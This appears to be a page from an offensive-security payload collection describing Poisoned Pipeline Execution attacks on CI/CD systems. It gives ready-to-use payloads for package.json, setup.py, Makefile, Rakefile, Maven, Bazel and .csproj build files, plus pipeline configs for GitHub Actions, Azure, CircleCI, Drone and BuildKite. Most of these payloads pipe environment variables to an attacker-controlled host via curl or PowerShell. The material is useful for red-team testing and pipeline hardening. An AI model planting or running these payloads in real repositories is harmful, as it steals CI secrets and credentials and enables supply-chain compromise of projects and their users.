10 KiB
CI/CD attacks
CI/CD pipelines are often triggered by untrusted actions such a forked pull requests and new issue submissions for public git repositories.
These systems often contain sensitive secrets or run in privileged environments.
Attackers may gain an RCE into such systems by submitting crafted payloads that trigger the pipelines.
Such vulnerabilities are also known as Poisoned Pipeline Execution (PPE)
Summary
Tools
- praetorian-inc/gato - GitHub Self-Hosted Runner Enumeration and Attack Tool
Package managers & Build Files
Code injections into build files are CI agnostic and therefore they make great targets when you don't know what system builds the repository, or if there are multiple CI's in the process.
In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them.\n If the CI builds forked pull requests then your payload may run in the CI.
Javascript / Typescript - package.json
The
package.json
file is used by many Javascript / Typescript package managers (yarn
,npm
,pnpm
,npx
....).
The file may contain a
scripts
object with custom commands to run.
preinstall
,install
,build
&test
are often executed by default in most CI/CD pipelines - hence they are good targets for injection.
If you come across apackage.json
file - edit thescripts
object and inject your instruction there
NOTE: the payloads in the instructions above must be json escaped
.
Example:
{
"name": "my_package",
"description": "",
"version": "1.0.0",
"scripts": {
"preinstall": "set | curl -X POST --data-binary @- {YourHostName}",
"install": "set | curl -X POST --data-binary @- {YourHostName}",
"build": "set | curl -X POST --data-binary @- {YourHostName}",
"test": "set | curl -X POST --data-binary @- {YourHostName}"
},
"repository": {
"type": "git",
"url": "https://github.com/foobar/my_package.git"
},
"keywords": [],
"author": "C.Norris"
}
Python - setup.py
setup.py
is used by python's package managers during the build process. It is often executed by default.
Replacing the setup.py files with the following payload may trigger their execution by the CI.
import os
os.system('set | curl -X POST --data-binary @- {YourHostName}')
Bash / sh - *.sh
Shell scripts in the repository are often executed in custom CI/CD pipelines.
Replacing all the.sh
files in the repo and submitting a pull request may trigger their execution by the CI.
set | curl -X POST --data-binary @- {YourHostName}
Maven / Gradle
These package managers come with "wrappers" that help with running custom commands for building / testing the project.
These wrappers are essentially executable shell/cmd scripts. Replace them with your payloads to have them executed:
gradlew
mvnw
gradlew.bat
(windows)mvnw.cmd
(windows)
Occasionally the wrappers will not be present in the repository.
In such cases you can edit thepom.xml
file, which instructs maven what dependencies to fetch and whichplugins
to run.
Some plugins allow code execution, here's an example of the common pluginorg.codehaus.mojo
.
If thepom.xml
file you're targeting already contains a<plugins>
instruction then simply add another<plugin>
node under it.
If if doesn't contain a<plugins>
node then add it under the<build>
node.
NOTE: remember that your payload is inserted in an XML document - XML special characters must be escaped.
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.6.0</version>
<executions>
<execution>
<id>run-script</id>
<phase>validate</phase>
<goals>
<goal>exec</goal>
</goals>
</execution>
</executions>
<configuration>
<executable>bash</executable>
<arguments>
<argument>
-c
</argument>
<argument>{XML-Escaped-Payload}</ argument>
</arguments>
</configuration>
</plugin>
</plugins>
</build>
BUILD.bazel
Replace the content of
BUILD.bazel
with the following payload
NOTE: BUILD.bazel
requires escaping backslashes.
Replace any \
with \\
inside your payload.
genrule(
name = "build",
outs = ["foo"],
cmd = "{Escaped-Shell-Payload}",
visibility = ["//visibility:public"],
)
Makefile
Make files are often executed by build pipelines for projects written in
C
,C++
orGo
(but not exclusively).
There are several utilities that executeMakefile
, the most common areGNU Make
&Make
.
Replace your targetMakefile
with the following payload
.MAIN: build
.DEFAULT_GOAL := build
.PHONY: all
all:
set | curl -X POST --data-binary @- {YourHostName}
build:
set | curl -X POST --data-binary @- {YourHostName}
compile:
set | curl -X POST --data-binary @- {YourHostName}
default:
set | curl -X POST --data-binary @- {YourHostName}
Rakefile
Rake files are similar to
Makefile
but for Ruby projects.
Replace your targetRakefile
with the following payload
task :pre_task do
sh "{Payload}"
end
task :build do
sh "{Payload}"
end
task :test do
sh "{Payload}"
end
task :install do
sh "{Payload}"
end
task :default => [:build]
C# - *.csproj
.csproj
files are build file for theC#
runtime.
They are constructed as XML files that contain the different dependencies that are required to build the project.
Replacing all the.csproj
files in the repo with the following payload may trigger their execution by the CI.
NOTE: Since this is an XML file - XML special characters must be escaped.
<Project>
<Target Name="SendEnvVariables" BeforeTargets="Build;BeforeBuild;BeforeCompile">
<Exec Command="powershell -Command "$envBody = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-ChildItem env: | Format-List | Out-String))); Invoke-WebRequest -Uri {YourHostName} -Method POST -Body $envBody"" />
</Target>
</Project>
CI/CD products
GitHub Actions
The configuration files for GH actions are located in the directory .github/workflows/
You can tell if the action builds pull requests based on its trigger (on
) instructions:
on:
push:
branches:
- master
pull_request:
In order to run an OS command in an action that builds pull requests - simply add a run
instruction to it.
An action may also be vulnerable to command injection if it dynamically evaluates untrusted input as part of its run
instruction:
jobs:
print_issue_title:
runs-on: ubuntu-latest
name: Print issue title
steps:
- run: echo "${{github.event.issue.title}}"
Azure Pipelines (Azure DevOps)
The configuration files for azure pipelines are normally located in the root directory of the repository and called - azure-pipelines.yml
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for pr:
instruction:
trigger:
branches:
include:
- master
- refs/tags/*
pr:
- master
CircleCI
The configuration files for CircleCI builds are located in .circleci/config.yml
By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.
In order to run an OS command in a workflow that builds pull requests - simply add a run
instruction to the step.
jobs:
build:
docker:
- image: cimg/base:2022.05
steps:
- run: echo "Say hello to YAML!"
Drone CI
The configuration files for Drone builds are located in .drone.yml
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
In order to run an OS command in a workflow that builds pull requests - simply add a commands
instruction to the step.
steps:
- name: do-something
image: some-image:3.9
commands:
- {Payload}
BuildKite
The configuration files for BuildKite builds are located in .buildkite/*.yml
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
In order to run an OS command in a workflow that builds pull requests - simply add a command
instruction to the step.
steps:
- label: "Example Test"
command: echo "Hello!"